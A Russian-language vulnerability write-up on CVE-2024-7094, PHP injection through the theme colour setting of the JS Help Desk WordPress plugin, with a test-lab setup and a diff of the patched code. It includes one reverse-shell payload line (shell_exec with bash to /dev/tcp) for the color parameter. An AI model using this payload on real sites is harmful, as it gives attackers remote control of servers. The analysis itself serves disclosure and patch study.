CVE-2024-7094
PHP Injection in JS Help Desk (WordPress Plugin)
CVSS Score: 9.8
Описание
PHP-инъекция в плагине JS Help Desk, предназначенном для организации системы техподдержки на сайтах на базе WordPress.
Патчи
В версии 2.8.6 закрыта частично, в версиях 2.8.7 и выше закрыта полностью.
Стенд
Деплоим тестовое приложение на WordPress и накатываем туда уязвимую версию плагина, например, 2.7.7.
Получаем одностраничник на WP:
Атака
У плагина есть множество всяких ручек, позволяющих его настраивать и всячески кастомизировать, одна из них позволяет нам регулировать цвета и менять темы нашего окна тикетов:
Разумеется нас здесь интересует возможность выбора цвета и передачи его в hex формате.
Отправляем форму и смотрим запрос через Burp:
Теперь кинем запрос с попыткой эксплуатации php кода:
Получаем 200 код ответа и наш текст на главной:
Ну а дальше, кидаем reverse shell в один из параметров color:
".shell_exec('bash -c \'bash -i >& /dev/tcp/IP/PORT 0>&1\'')."
Почему?
Для простоты я диффал версии 2.8.5 и 2.8.7.
2.8.5
Итак, в версии 2.8.5 в файле /modules/themes/controller.php есть функция savetheme():
Как видим, она вызывает функцию storeTheme() из файла model.php в той же директории, storeTheme() представляет собой следующее:
То есть, фактически, она забирает сырые данные, никак их не проверяя, и кладёт их в includes/css/style.php, за счёт чего, мы получаем в нём примерно следующее:
что и позволяет нам выполнить произвольный код.
Ещё там есть функция getCurrentTheme(), которая отвечает за подгрузку данных уже имеющейся теме, которая тоже просто дёргает сырые данные из файла при каждом обращении к плагину:
2.8.7
В storeTheme() просто добавили санитизацию...
Ну и значения, получаемые через getCurrentTheme() дополнительно обернули в esc_attr().
Статья написана для: @iamargendo